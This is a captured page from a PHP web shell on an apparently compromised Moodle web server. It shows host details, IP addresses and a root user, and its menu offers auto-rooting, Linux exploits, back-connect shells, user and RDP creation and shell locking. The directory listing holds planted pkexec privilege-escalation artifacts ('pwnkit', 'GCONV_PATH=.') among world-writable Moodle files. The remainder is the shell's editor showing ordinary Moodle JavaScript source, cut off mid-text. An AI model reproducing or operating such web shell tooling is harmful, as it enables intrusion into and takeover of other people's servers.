Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
amd /
build /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
emoji
[ DIR ]
drwxrwxrwx
local
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
adapter.min.js
119.54
KB
-rwxrwxrwx
adapter.min.js.map
288.7
KB
-rwxrwxrwx
addblockmodal.min.js
1.1
KB
-rwxrwxrwx
addblockmodal.min.js.map
3.55
KB
-rwxrwxrwx
ajax.min.js
3.18
KB
-rwxrwxrwx
ajax.min.js.map
13.19
KB
-rwxrwxrwx
auto_rows.min.js
1.28
KB
-rwxrwxrwx
auto_rows.min.js.map
4.69
KB
-rwxrwxrwx
autoscroll.min.js
2.43
KB
-rwxrwxrwx
autoscroll.min.js.map
8.56
KB
-rwxrwxrwx
backoff_timer.min.js
1.51
KB
-rwxrwxrwx
backoff_timer.min.js.map
6.36
KB
-rwxrwxrwx
chart_axis.min.js
2.02
KB
-rwxrwxrwx
chart_axis.min.js.map
9.61
KB
-rwxrwxrwx
chart_bar.min.js
1.14
KB
-rwxrwxrwx
chart_bar.min.js.map
4.34
KB
-rwxrwxrwx
chart_base.min.js
4.27
KB
-rwxrwxrwx
chart_base.min.js.map
15.35
KB
-rwxrwxrwx
chart_builder.min.js
485
B
-rwxrwxrwx
chart_builder.min.js.map
2.15
KB
-rwxrwxrwx
chart_line.min.js
753
B
-rwxrwxrwx
chart_line.min.js.map
2.86
KB
-rwxrwxrwx
chart_output.min.js
352
B
-rwxrwxrwx
chart_output.min.js.map
1.32
KB
-rwxrwxrwx
chart_output_base.min.js
514
B
-rwxrwxrwx
chart_output_base.min.js.map
2.5
KB
-rwxrwxrwx
chart_output_chartjs.min.js
5.03
KB
-rwxrwxrwx
chart_output_chartjs.min.js.ma...
16.37
KB
-rwxrwxrwx
chart_output_htmltable.min.js
1.46
KB
-rwxrwxrwx
chart_output_htmltable.min.js....
4.91
KB
-rwxrwxrwx
chart_pie.min.js
1.23
KB
-rwxrwxrwx
chart_pie.min.js.map
4.36
KB
-rwxrwxrwx
chart_series.min.js
3.22
KB
-rwxrwxrwx
chart_series.min.js.map
11.41
KB
-rwxrwxrwx
chartjs-lazy.min.js
295.92
KB
-rwxrwxrwx
chartjs-lazy.min.js.map
989.07
KB
-rwxrwxrwx
chartjs.min.js
297
B
-rwxrwxrwx
chartjs.min.js.map
1.11
KB
-rwxrwxrwx
checkbox-toggleall.min.js
4.68
KB
-rwxrwxrwx
checkbox-toggleall.min.js.map
16.67
KB
-rwxrwxrwx
config.min.js
350
B
-rwxrwxrwx
config.min.js.map
1.25
KB
-rwxrwxrwx
custom_interaction_events.min....
7.01
KB
-rwxrwxrwx
custom_interaction_events.min....
28.85
KB
-rwxrwxrwx
dragdrop.min.js
4.2
KB
-rwxrwxrwx
dragdrop.min.js.map
16.91
KB
-rwxrwxrwx
drawer.min.js
2.93
KB
-rwxrwxrwx
drawer.min.js.map
4.65
KB
-rwxrwxrwx
drawer_events.min.js
291
B
-rwxrwxrwx
drawer_events.min.js.map
1.17
KB
-rwxrwxrwx
event.min.js
1.41
KB
-rwxrwxrwx
event.min.js.map
5.44
KB
-rwxrwxrwx
first.min.js
742
B
-rwxrwxrwx
first.min.js.map
1.73
KB
-rwxrwxrwx
form-autocomplete.min.js
19.36
KB
-rwxrwxrwx
form-autocomplete.min.js.map
67.45
KB
-rwxrwxrwx
form-cohort-selector.min.js
1.08
KB
-rwxrwxrwx
form-cohort-selector.min.js.ma...
3.72
KB
-rwxrwxrwx
form-course-selector.min.js
1.78
KB
-rwxrwxrwx
form-course-selector.min.js.ma...
5.7
KB
-rwxrwxrwx
fragment.min.js
1.6
KB
-rwxrwxrwx
fragment.min.js.map
6.12
KB
-rwxrwxrwx
fullscreen.min.js
524
B
-rwxrwxrwx
fullscreen.min.js.map
2.08
KB
-rwxrwxrwx
icon_system.min.js
595
B
-rwxrwxrwx
icon_system.min.js.map
3.05
KB
-rwxrwxrwx
icon_system_fontawesome.min.js
1.79
KB
-rwxrwxrwx
icon_system_fontawesome.min.js...
5.82
KB
-rwxrwxrwx
icon_system_standard.min.js
927
B
-rwxrwxrwx
icon_system_standard.min.js.ma...
3.21
KB
-rwxrwxrwx
inplace_editable.min.js
6.77
KB
-rwxrwxrwx
inplace_editable.min.js.map
19.34
KB
-rwxrwxrwx
key_codes.min.js
532
B
-rwxrwxrwx
key_codes.min.js.map
1.66
KB
-rwxrwxrwx
loadingicon.min.js
1.31
KB
-rwxrwxrwx
loadingicon.min.js.map
4.93
KB
-rwxrwxrwx
localstorage.min.js
610
B
-rwxrwxrwx
localstorage.min.js.map
2.54
KB
-rwxrwxrwx
log.min.js
793
B
-rwxrwxrwx
log.min.js.map
2.31
KB
-rwxrwxrwx
loglevel.min.js
4.7
KB
-rwxrwxrwx
loglevel.min.js.map
13.69
KB
-rwxrwxrwx
modal.min.js
11.62
KB
-rwxrwxrwx
modal.min.js.map
39.99
KB
-rwxrwxrwx
modal_backdrop.min.js
1.88
KB
-rwxrwxrwx
modal_backdrop.min.js.map
6.11
KB
-rwxrwxrwx
modal_cancel.min.js
3.76
KB
-rwxrwxrwx
modal_cancel.min.js.map
1.83
KB
-rwxrwxrwx
modal_events.min.js
521
B
-rwxrwxrwx
modal_events.min.js.map
1.57
KB
-rwxrwxrwx
modal_factory.min.js
4.68
KB
-rwxrwxrwx
modal_factory.min.js.map
11.17
KB
-rwxrwxrwx
modal_registry.min.js
895
B
-rwxrwxrwx
modal_registry.min.js.map
3.07
KB
-rwxrwxrwx
modal_save_cancel.min.js
4.12
KB
-rwxrwxrwx
modal_save_cancel.min.js.map
2.75
KB
-rwxrwxrwx
mustache.min.js
11.31
KB
-rwxrwxrwx
mustache.min.js.map
37.6
KB
-rwxrwxrwx
network.min.js
2.51
KB
-rwxrwxrwx
network.min.js.map
9.12
KB
-rwxrwxrwx
notification.min.js
13.12
KB
-rwxrwxrwx
notification.min.js.map
12.73
KB
-rwxrwxrwx
page_global.min.js
1.68
KB
-rwxrwxrwx
page_global.min.js.map
6.83
KB
-rwxrwxrwx
paged_content.min.js
1.21
KB
-rwxrwxrwx
paged_content.min.js.map
3.81
KB
-rwxrwxrwx
paged_content_events.min.js
544
B
-rwxrwxrwx
paged_content_events.min.js.ma...
1.5
KB
-rwxrwxrwx
paged_content_factory.min.js
5.5
KB
-rwxrwxrwx
paged_content_factory.min.js.m...
26.16
KB
-rwxrwxrwx
paged_content_pages.min.js
3.47
KB
-rwxrwxrwx
paged_content_pages.min.js.map
15.14
KB
-rwxrwxrwx
paged_content_paging_bar.min.j...
8.3
KB
-rwxrwxrwx
paged_content_paging_bar.min.j...
27.47
KB
-rwxrwxrwx
paged_content_paging_bar_limit...
1.04
KB
-rwxrwxrwx
paged_content_paging_bar_limit...
3.28
KB
-rwxrwxrwx
paged_content_paging_dropdown....
2.5
KB
-rwxrwxrwx
paged_content_paging_dropdown....
9.79
KB
-rwxrwxrwx
pending.min.js
614
B
-rwxrwxrwx
pending.min.js.map
2.1
KB
-rwxrwxrwx
permissionmanager.min.js
4.77
KB
-rwxrwxrwx
permissionmanager.min.js.map
14.16
KB
-rwxrwxrwx
popover_region_controller.min....
6.03
KB
-rwxrwxrwx
popover_region_controller.min....
17.32
KB
-rwxrwxrwx
popper.min.js
32.51
KB
-rwxrwxrwx
popper.min.js.map
108.7
KB
-rwxrwxrwx
prefetch.min.js
4.93
KB
-rwxrwxrwx
prefetch.min.js.map
6.41
KB
-rwxrwxrwx
pubsub.min.js
1.04
KB
-rwxrwxrwx
pubsub.min.js.map
2.81
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
search-input.min.js
1.04
KB
-rwxrwxrwx
search-input.min.js.map
4.22
KB
-rwxrwxrwx
sessionstorage.min.js
744
B
-rwxrwxrwx
sessionstorage.min.js.map
2.69
KB
-rwxrwxrwx
showhidesettings.min.js
3.9
KB
-rwxrwxrwx
showhidesettings.min.js.map
15.59
KB
-rwxrwxrwx
sortable_list.min.js
14.2
KB
-rwxrwxrwx
sortable_list.min.js.map
41.31
KB
-rwxrwxrwx
storagewrapper.min.js
1.73
KB
-rwxrwxrwx
storagewrapper.min.js.map
6.77
KB
-rwxrwxrwx
str.min.js
4.05
KB
-rwxrwxrwx
str.min.js.map
8.54
KB
-rwxrwxrwx
tag.min.js
9.39
KB
-rwxrwxrwx
tag.min.js.map
28.06
KB
-rwxrwxrwx
templates.min.js
15.01
KB
-rwxrwxrwx
templates.min.js.map
63.96
KB
-rwxrwxrwx
toast.min.js
4.51
KB
-rwxrwxrwx
toast.min.js.map
3.71
KB
-rwxrwxrwx
tooltip.min.js
1.92
KB
-rwxrwxrwx
tooltip.min.js.map
6.09
KB
-rwxrwxrwx
tree.min.js
6.81
KB
-rwxrwxrwx
tree.min.js.map
24.05
KB
-rwxrwxrwx
truncate.min.js
2.69
KB
-rwxrwxrwx
truncate.min.js.map
9.47
KB
-rwxrwxrwx
url.min.js
1.31
KB
-rwxrwxrwx
url.min.js.map
4.94
KB
-rwxrwxrwx
user_date.min.js
2.22
KB
-rwxrwxrwx
user_date.min.js.map
11.96
KB
-rwxrwxrwx
userfeedback.min.js
1.79
KB
-rwxrwxrwx
userfeedback.min.js.map
4.19
KB
-rwxrwxrwx
utils.min.js
843
B
-rwxrwxrwx
utils.min.js.map
3.31
KB
-rwxrwxrwx
yui.min.js
425
B
-rwxrwxrwx
yui.min.js.map
1.32
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : form-autocomplete.min.js.map
{"version":3,"file":"form-autocomplete.min.js","sources":["../src/form-autocomplete.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n//\n// Moodle is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle. If not, see <http://www.gnu.org/licenses/>.\n\n/**\n * Autocomplete wrapper for select2 library.\n *\n * @module core/form-autocomplete\n * @class autocomplete\n * @package core\n * @copyright 2015 Damyon Wiese <damyon@moodle.com>\n * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n * @since 3.0\n */\n/* globals require: false */\ndefine(\n ['jquery', 'core/log', 'core/str', 'core/templates', 'core/notification', 'core/loadingicon'],\nfunction($, log, str, templates, notification, LoadingIcon) {\n\n // Private functions and variables.\n /** @var {Object} KEYS - List of keycode constants. */\n var KEYS = {\n DOWN: 40,\n ENTER: 13,\n SPACE: 32,\n ESCAPE: 27,\n COMMA: 44,\n UP: 38,\n LEFT: 37,\n RIGHT: 39\n };\n\n var uniqueId = Date.now();\n\n /**\n * Make an item in the selection list \"active\".\n *\n * @method activateSelection\n * @private\n * @param {Number} index The index in the current (visible) list of selection.\n * @param {Object} state State variables for this autocomplete element.\n * @return {Promise}\n */\n var activateSelection = function(index, state) {\n // Find the elements in the DOM.\n var selectionElement = $(document.getElementById(state.selectionId));\n\n // Count the visible items.\n var length = selectionElement.children('[aria-selected=true]').length;\n // Limit the index to the upper/lower bounds of the list (wrap in both directions).\n index = index % length;\n while (index < 0) {\n index += length;\n }\n // Find the specified element.\n var element = $(selectionElement.children('[aria-selected=true]').get(index));\n // Create an id we can assign to this element.\n var itemId = state.selectionId + '-' + index;\n\n // Deselect all the selections.\n selectionElement.children().attr('data-active-selection', null).attr('id', '');\n\n // Select only this suggestion and assign it the id.\n element.attr('data-active-selection', true).attr('id', itemId);\n\n // Tell the input field it has a new active descendant so the item is announced.\n selectionElement.attr('aria-activedescendant', itemId);\n selectionElement.attr('data-active-value', element.attr('data-value'));\n\n return $.Deferred().resolve();\n };\n\n /**\n * Get the actively selected element from the state object.\n *\n * @param {Object} state\n * @returns {jQuery}\n */\n var getActiveElementFromState = function(state) {\n var selectionRegion = $(document.getElementById(state.selectionId));\n var activeId = selectionRegion.attr('aria-activedescendant');\n\n if (activeId) {\n var activeElement = $(document.getElementById(activeId));\n if (activeElement.length) {\n // The active descendent still exists.\n return activeElement;\n }\n }\n\n var activeValue = selectionRegion.attr('data-active-value');\n return selectionRegion.find('[data-value=\"' + activeValue + '\"]');\n };\n\n /**\n * Update the active selection from the given state object.\n *\n * @param {Object} state\n */\n var updateActiveSelectionFromState = function(state) {\n var activeElement = getActiveElementFromState(state);\n var activeValue = activeElement.attr('data-value');\n\n var selectionRegion = $(document.getElementById(state.selectionId));\n if (activeValue) {\n // Find the index of the currently selected index.\n var activeIndex = selectionRegion.find('[aria-selected=true]').index(activeElement);\n\n if (activeIndex !== -1) {\n activateSelection(activeIndex, state);\n return;\n }\n }\n\n // Either the active index was not set, or it could not be found.\n // Select the first value instead.\n activateSelection(0, state);\n };\n\n /**\n * Update the element that shows the currently selected items.\n *\n * @method updateSelectionList\n * @private\n * @param {Object} options Original options for this autocomplete element.\n * @param {Object} state State variables for this autocomplete element.\n * @param {JQuery} originalSelect The JQuery object matching the hidden select list.\n * @return {Promise}\n */\n var updateSelectionList = function(options, state, originalSelect) {\n var pendingKey = 'form-autocomplete-updateSelectionList-' + state.inputId;\n M.util.js_pending(pendingKey);\n\n // Build up a valid context to re-render the template.\n var items = [];\n var newSelection = $(document.getElementById(state.selectionId));\n originalSelect.children('option').each(function(index, ele) {\n if ($(ele).prop('selected')) {\n var label;\n if ($(ele).data('html')) {\n label = $(ele).data('html');\n } else {\n label = $(ele).html();\n }\n if (label !== '') {\n items.push({label: label, value: $(ele).attr('value')});\n }\n }\n });\n\n if (!hasItemListChanged(state, items)) {\n M.util.js_complete(pendingKey);\n return Promise.resolve();\n }\n\n state.items = items;\n\n var context = $.extend(options, state);\n // Render the template.\n return templates.render(options.templates.items, context)\n .then(function(html, js) {\n // Add it to the page.\n templates.replaceNodeContents(newSelection, html, js);\n\n updateActiveSelectionFromState(state);\n\n return;\n })\n .then(function() {\n return M.util.js_complete(pendingKey);\n })\n .catch(notification.exception);\n };\n\n /**\n * Check whether the list of items stored in the state has changed.\n *\n * @param {Object} state\n * @param {Array} items\n */\n var hasItemListChanged = function(state, items) {\n if (state.items.length !== items.length) {\n return true;\n }\n\n // Check for any items in the state items which are not present in the new items list.\n return state.items.filter(item => items.indexOf(item) === -1).length > 0;\n };\n\n /**\n * Notify of a change in the selection.\n *\n * @param {jQuery} originalSelect The jQuery object matching the hidden select list.\n */\n var notifyChange = function(originalSelect) {\n if (typeof M.core_formchangechecker !== 'undefined') {\n M.core_formchangechecker.set_form_changed();\n }\n\n // Note, jQuery .change() was not working here.\n var event;\n if (typeof Event === 'function') {\n event = new Event('change');\n } else {\n // Support IE.\n event = document.createEvent('Event');\n event.initEvent('change', true, true);\n }\n originalSelect[0].dispatchEvent(event);\n };\n\n /**\n * Remove the given item from the list of selected things.\n *\n * @method deselectItem\n * @private\n * @param {Object} options Original options for this autocomplete element.\n * @param {Object} state State variables for this autocomplete element.\n * @param {Element} item The item to be deselected.\n * @param {Element} originalSelect The original select list.\n * @return {Promise}\n */\n var deselectItem = function(options, state, item, originalSelect) {\n var selectedItemValue = $(item).attr('data-value');\n\n // Look for a match, and toggle the selected property if there is a match.\n originalSelect.children('option').each(function(index, ele) {\n if ($(ele).attr('value') == selectedItemValue) {\n $(ele).prop('selected', false);\n // We remove newly created custom tags from the suggestions list when they are deselected.\n if ($(ele).attr('data-iscustom')) {\n $(ele).remove();\n }\n }\n });\n // Rerender the selection list.\n return updateSelectionList(options, state, originalSelect)\n .then(function() {\n // Notify that the selection changed.\n notifyChange(originalSelect);\n\n return;\n });\n };\n\n /**\n * Make an item in the suggestions \"active\" (about to be selected).\n *\n * @method activateItem\n * @private\n * @param {Number} index The index in the current (visible) list of suggestions.\n * @param {Object} state State variables for this instance of autocomplete.\n * @return {Promise}\n */\n var activateItem = function(index, state) {\n // Find the elements in the DOM.\n var inputElement = $(document.getElementById(state.inputId));\n var suggestionsElement = $(document.getElementById(state.suggestionsId));\n\n // Count the visible items.\n var length = suggestionsElement.children('[aria-hidden=false]').length;\n // Limit the index to the upper/lower bounds of the list (wrap in both directions).\n index = index % length;\n while (index < 0) {\n index += length;\n }\n // Find the specified element.\n var element = $(suggestionsElement.children('[aria-hidden=false]').get(index));\n // Find the index of this item in the full list of suggestions (including hidden).\n var globalIndex = $(suggestionsElement.children('[role=option]')).index(element);\n // Create an id we can assign to this element.\n var itemId = state.suggestionsId + '-' + globalIndex;\n\n // Deselect all the suggestions.\n suggestionsElement.children().attr('aria-selected', false).attr('id', '');\n // Select only this suggestion and assign it the id.\n element.attr('aria-selected', true).attr('id', itemId);\n // Tell the input field it has a new active descendant so the item is announced.\n inputElement.attr('aria-activedescendant', itemId);\n\n // Scroll it into view.\n var scrollPos = element.offset().top\n - suggestionsElement.offset().top\n + suggestionsElement.scrollTop()\n - (suggestionsElement.height() / 2);\n return suggestionsElement.animate({\n scrollTop: scrollPos\n }, 100).promise();\n };\n\n /**\n * Find the index of the current active suggestion, and activate the next one.\n *\n * @method activateNextItem\n * @private\n * @param {Object} state State variable for this auto complete element.\n * @return {Promise}\n */\n var activateNextItem = function(state) {\n // Find the list of suggestions.\n var suggestionsElement = $(document.getElementById(state.suggestionsId));\n // Find the active one.\n var element = suggestionsElement.children('[aria-selected=true]');\n // Find it's index.\n var current = suggestionsElement.children('[aria-hidden=false]').index(element);\n // Activate the next one.\n return activateItem(current + 1, state);\n };\n\n /**\n * Find the index of the current active selection, and activate the previous one.\n *\n * @method activatePreviousSelection\n * @private\n * @param {Object} state State variables for this instance of autocomplete.\n * @return {Promise}\n */\n var activatePreviousSelection = function(state) {\n // Find the list of selections.\n var selectionsElement = $(document.getElementById(state.selectionId));\n // Find the active one.\n var element = selectionsElement.children('[data-active-selection]');\n if (!element) {\n return activateSelection(0, state);\n }\n // Find it's index.\n var current = selectionsElement.children('[aria-selected=true]').index(element);\n // Activate the next one.\n return activateSelection(current - 1, state);\n };\n\n /**\n * Find the index of the current active selection, and activate the next one.\n *\n * @method activateNextSelection\n * @private\n * @param {Object} state State variables for this instance of autocomplete.\n * @return {Promise}\n */\n var activateNextSelection = function(state) {\n // Find the list of selections.\n var selectionsElement = $(document.getElementById(state.selectionId));\n\n // Find the active one.\n var element = selectionsElement.children('[data-active-selection]');\n var current = 0;\n\n if (element) {\n // The element was found. Determine the index and move to the next one.\n current = selectionsElement.children('[aria-selected=true]').index(element);\n current = current + 1;\n } else {\n // No selected item found. Move to the first.\n current = 0;\n }\n\n return activateSelection(current, state);\n };\n\n /**\n * Find the index of the current active suggestion, and activate the previous one.\n *\n * @method activatePreviousItem\n * @private\n * @param {Object} state State variables for this autocomplete element.\n * @return {Promise}\n */\n var activatePreviousItem = function(state) {\n // Find the list of suggestions.\n var suggestionsElement = $(document.getElementById(state.suggestionsId));\n\n // Find the active one.\n var element = suggestionsElement.children('[aria-selected=true]');\n\n // Find it's index.\n var current = suggestionsElement.children('[aria-hidden=false]').index(element);\n\n // Activate the previous one.\n return activateItem(current - 1, state);\n };\n\n /**\n * Close the list of suggestions.\n *\n * @method closeSuggestions\n * @private\n * @param {Object} state State variables for this autocomplete element.\n * @return {Promise}\n */\n var closeSuggestions = function(state) {\n // Find the elements in the DOM.\n var inputElement = $(document.getElementById(state.inputId));\n var suggestionsElement = $(document.getElementById(state.suggestionsId));\n\n if (inputElement.attr('aria-expanded') === \"true\") {\n // Announce the list of suggestions was closed.\n inputElement.attr('aria-expanded', false);\n }\n // Read the current list of selections.\n inputElement.attr('aria-activedescendant', state.selectionId);\n\n // Hide the suggestions list (from screen readers too).\n suggestionsElement.hide().attr('aria-hidden', true);\n\n return $.Deferred().resolve();\n };\n\n /**\n * Rebuild the list of suggestions based on the current values in the select list, and the query.\n *\n * @method updateSuggestions\n * @private\n * @param {Object} options The original options for this autocomplete.\n * @param {Object} state The state variables for this autocomplete.\n * @param {String} query The current text for the search string.\n * @param {JQuery} originalSelect The JQuery object matching the hidden select list.\n * @return {Promise}\n */\n var updateSuggestions = function(options, state, query, originalSelect) {\n var pendingKey = 'form-autocomplete-updateSuggestions-' + state.inputId;\n M.util.js_pending(pendingKey);\n\n // Find the elements in the DOM.\n var inputElement = $(document.getElementById(state.inputId));\n var suggestionsElement = $(document.getElementById(state.suggestionsId));\n\n // Used to track if we found any visible suggestions.\n var matchingElements = false;\n // Options is used by the context when rendering the suggestions from a template.\n var suggestions = [];\n originalSelect.children('option').each(function(index, option) {\n if ($(option).prop('selected') !== true) {\n suggestions[suggestions.length] = {label: option.innerHTML, value: $(option).attr('value')};\n }\n });\n\n // Re-render the list of suggestions.\n var searchquery = state.caseSensitive ? query : query.toLocaleLowerCase();\n var context = $.extend({options: suggestions}, options, state);\n var returnVal = templates.render(\n 'core/form_autocomplete_suggestions',\n context\n )\n .then(function(html, js) {\n // We have the new template, insert it in the page.\n templates.replaceNode(suggestionsElement, html, js);\n\n // Get the element again.\n suggestionsElement = $(document.getElementById(state.suggestionsId));\n // Show it if it is hidden.\n suggestionsElement.show().attr('aria-hidden', false);\n // For each option in the list, hide it if it doesn't match the query.\n suggestionsElement.children().each(function(index, node) {\n node = $(node);\n if ((options.caseSensitive && node.text().indexOf(searchquery) > -1) ||\n (!options.caseSensitive && node.text().toLocaleLowerCase().indexOf(searchquery) > -1)) {\n node.show().attr('aria-hidden', false);\n matchingElements = true;\n } else {\n node.hide().attr('aria-hidden', true);\n }\n });\n // If we found any matches, show the list.\n inputElement.attr('aria-expanded', true);\n if (originalSelect.attr('data-notice')) {\n // Display a notice rather than actual suggestions.\n suggestionsElement.html(originalSelect.attr('data-notice'));\n } else if (matchingElements) {\n // We only activate the first item in the list if tags is false,\n // because otherwise \"Enter\" would select the first item, instead of\n // creating a new tag.\n if (!options.tags) {\n activateItem(0, state);\n }\n } else {\n // Nothing matches. Tell them that.\n str.get_string('nosuggestions', 'form').done(function(nosuggestionsstr) {\n suggestionsElement.html(nosuggestionsstr);\n });\n }\n\n return suggestionsElement;\n })\n .then(function() {\n return M.util.js_complete(pendingKey);\n })\n .catch(notification.exception);\n\n return returnVal;\n };\n\n /**\n * Create a new item for the list (a tag).\n *\n * @method createItem\n * @private\n * @param {Object} options The original options for the autocomplete.\n * @param {Object} state State variables for the autocomplete.\n * @param {JQuery} originalSelect The JQuery object matching the hidden select list.\n * @return {Promise}\n */\n var createItem = function(options, state, originalSelect) {\n // Find the element in the DOM.\n var inputElement = $(document.getElementById(state.inputId));\n // Get the current text in the input field.\n var query = inputElement.val();\n var tags = query.split(',');\n var found = false;\n\n $.each(tags, function(tagindex, tag) {\n // If we can only select one at a time, deselect any current value.\n tag = tag.trim();\n if (tag !== '') {\n if (!options.multiple) {\n originalSelect.children('option').prop('selected', false);\n }\n // Look for an existing option in the select list that matches this new tag.\n originalSelect.children('option').each(function(index, ele) {\n if ($(ele).attr('value') == tag) {\n found = true;\n $(ele).prop('selected', true);\n }\n });\n // Only create the item if it's new.\n if (!found) {\n var option = $('<option>');\n option.append(document.createTextNode(tag));\n option.attr('value', tag);\n originalSelect.append(option);\n option.prop('selected', true);\n // We mark newly created custom options as we handle them differently if they are \"deselected\".\n option.attr('data-iscustom', true);\n }\n }\n });\n\n return updateSelectionList(options, state, originalSelect)\n .then(function() {\n // Notify that the selection changed.\n notifyChange(originalSelect);\n\n return;\n })\n .then(function() {\n // Clear the input field.\n inputElement.val('');\n\n return;\n })\n .then(function() {\n // Close the suggestions list.\n return closeSuggestions(state);\n });\n };\n\n /**\n * Select the currently active item from the suggestions list.\n *\n * @method selectCurrentItem\n * @private\n * @param {Object} options The original options for the autocomplete.\n * @param {Object} state State variables for the autocomplete.\n * @param {JQuery} originalSelect The JQuery object matching the hidden select list.\n * @return {Promise}\n */\n var selectCurrentItem = function(options, state, originalSelect) {\n // Find the elements in the page.\n var inputElement = $(document.getElementById(state.inputId));\n var suggestionsElement = $(document.getElementById(state.suggestionsId));\n // Here loop through suggestions and set val to join of all selected items.\n\n var selectedItemValue = suggestionsElement.children('[aria-selected=true]').attr('data-value');\n // The select will either be a single or multi select, so the following will either\n // select one or more items correctly.\n // Take care to use 'prop' and not 'attr' for selected properties.\n // If only one can be selected at a time, start by deselecting everything.\n if (!options.multiple) {\n originalSelect.children('option').prop('selected', false);\n }\n // Look for a match, and toggle the selected property if there is a match.\n originalSelect.children('option').each(function(index, ele) {\n if ($(ele).attr('value') == selectedItemValue) {\n $(ele).prop('selected', true);\n }\n });\n\n return updateSelectionList(options, state, originalSelect)\n .then(function() {\n // Notify that the selection changed.\n notifyChange(originalSelect);\n\n return;\n })\n .then(function() {\n if (options.closeSuggestionsOnSelect) {\n // Clear the input element.\n inputElement.val('');\n // Close the list of suggestions.\n return closeSuggestions(state);\n } else {\n // Focus on the input element so the suggestions does not auto-close.\n inputElement.focus();\n // Remove the last selected item from the suggestions list.\n return updateSuggestions(options, state, inputElement.val(), originalSelect);\n }\n });\n };\n\n /**\n * Fetch a new list of options via ajax.\n *\n * @method updateAjax\n * @private\n * @param {Event} e The event that triggered this update.\n * @param {Object} options The original options for the autocomplete.\n * @param {Object} state The state variables for the autocomplete.\n * @param {JQuery} originalSelect The JQuery object matching the hidden select list.\n * @param {Object} ajaxHandler This is a module that does the ajax fetch and translates the results.\n * @return {Promise}\n */\n var updateAjax = function(e, options, state, originalSelect, ajaxHandler) {\n var pendingPromise = addPendingJSPromise('updateAjax');\n // We need to show the indicator outside of the hidden select list.\n // So we get the parent id of the hidden select list.\n var parentElement = $(document.getElementById(state.selectId)).parent();\n LoadingIcon.addIconToContainerRemoveOnCompletion(parentElement, pendingPromise);\n\n // Get the query to pass to the ajax function.\n var query = $(e.currentTarget).val();\n // Call the transport function to do the ajax (name taken from Select2).\n ajaxHandler.transport(options.selector, query, function(results) {\n // We got a result - pass it through the translator before using it.\n var processedResults = ajaxHandler.processResults(options.selector, results);\n var existingValues = [];\n\n // Now destroy all options that are not currently selected.\n if (!options.multiple) {\n originalSelect.children('option').remove();\n }\n originalSelect.children('option').each(function(optionIndex, option) {\n option = $(option);\n if (!option.prop('selected')) {\n option.remove();\n } else {\n existingValues.push(String(option.attr('value')));\n }\n });\n\n if (!options.multiple && originalSelect.children('option').length === 0) {\n // If this is a single select - and there are no current options\n // the first option added will be selected by the browser. This causes a bug!\n // We need to insert an empty option so that none of the real options are selected.\n var option = $('<option>');\n originalSelect.append(option);\n }\n if ($.isArray(processedResults)) {\n // Add all the new ones returned from ajax.\n $.each(processedResults, function(resultIndex, result) {\n if (existingValues.indexOf(String(result.value)) === -1) {\n var option = $('<option>');\n option.append(result.label);\n option.attr('value', result.value);\n originalSelect.append(option);\n }\n });\n originalSelect.attr('data-notice', '');\n } else {\n // The AJAX handler returned a string instead of the array.\n originalSelect.attr('data-notice', processedResults);\n }\n // Update the list of suggestions now from the new values in the select list.\n pendingPromise.resolve(updateSuggestions(options, state, '', originalSelect));\n }, function(error) {\n pendingPromise.reject(error);\n });\n\n return pendingPromise;\n };\n\n /**\n * Add all the event listeners required for keyboard nav, blur clicks etc.\n *\n * @method addNavigation\n * @private\n * @param {Object} options The options used to create this autocomplete element.\n * @param {Object} state State variables for this autocomplete element.\n * @param {JQuery} originalSelect The JQuery object matching the hidden select list.\n */\n var addNavigation = function(options, state, originalSelect) {\n // Start with the input element.\n var inputElement = $(document.getElementById(state.inputId));\n // Add keyboard nav with keydown.\n inputElement.on('keydown', function(e) {\n var pendingJsPromise = addPendingJSPromise('addNavigation-' + state.inputId + '-' + e.keyCode);\n\n switch (e.keyCode) {\n case KEYS.DOWN:\n // If the suggestion list is open, move to the next item.\n if (!options.showSuggestions) {\n // Do not consume this event.\n pendingJsPromise.resolve();\n return true;\n } else if (inputElement.attr('aria-expanded') === \"true\") {\n pendingJsPromise.resolve(activateNextItem(state));\n } else {\n // Handle ajax population of suggestions.\n if (!inputElement.val() && options.ajax) {\n require([options.ajax], function(ajaxHandler) {\n pendingJsPromise.resolve(updateAjax(e, options, state, originalSelect, ajaxHandler));\n });\n } else {\n // Open the suggestions list.\n pendingJsPromise.resolve(updateSuggestions(options, state, inputElement.val(), originalSelect));\n }\n }\n // We handled this event, so prevent it.\n e.preventDefault();\n return false;\n case KEYS.UP:\n // Choose the previous active item.\n pendingJsPromise.resolve(activatePreviousItem(state));\n\n // We handled this event, so prevent it.\n e.preventDefault();\n return false;\n case KEYS.ENTER:\n var suggestionsElement = $(document.getElementById(state.suggestionsId));\n if ((inputElement.attr('aria-expanded') === \"true\") &&\n (suggestionsElement.children('[aria-selected=true]').length > 0)) {\n // If the suggestion list has an active item, select it.\n pendingJsPromise.resolve(selectCurrentItem(options, state, originalSelect));\n } else if (options.tags) {\n // If tags are enabled, create a tag.\n pendingJsPromise.resolve(createItem(options, state, originalSelect));\n } else {\n pendingJsPromise.resolve();\n }\n\n // We handled this event, so prevent it.\n e.preventDefault();\n return false;\n case KEYS.ESCAPE:\n if (inputElement.attr('aria-expanded') === \"true\") 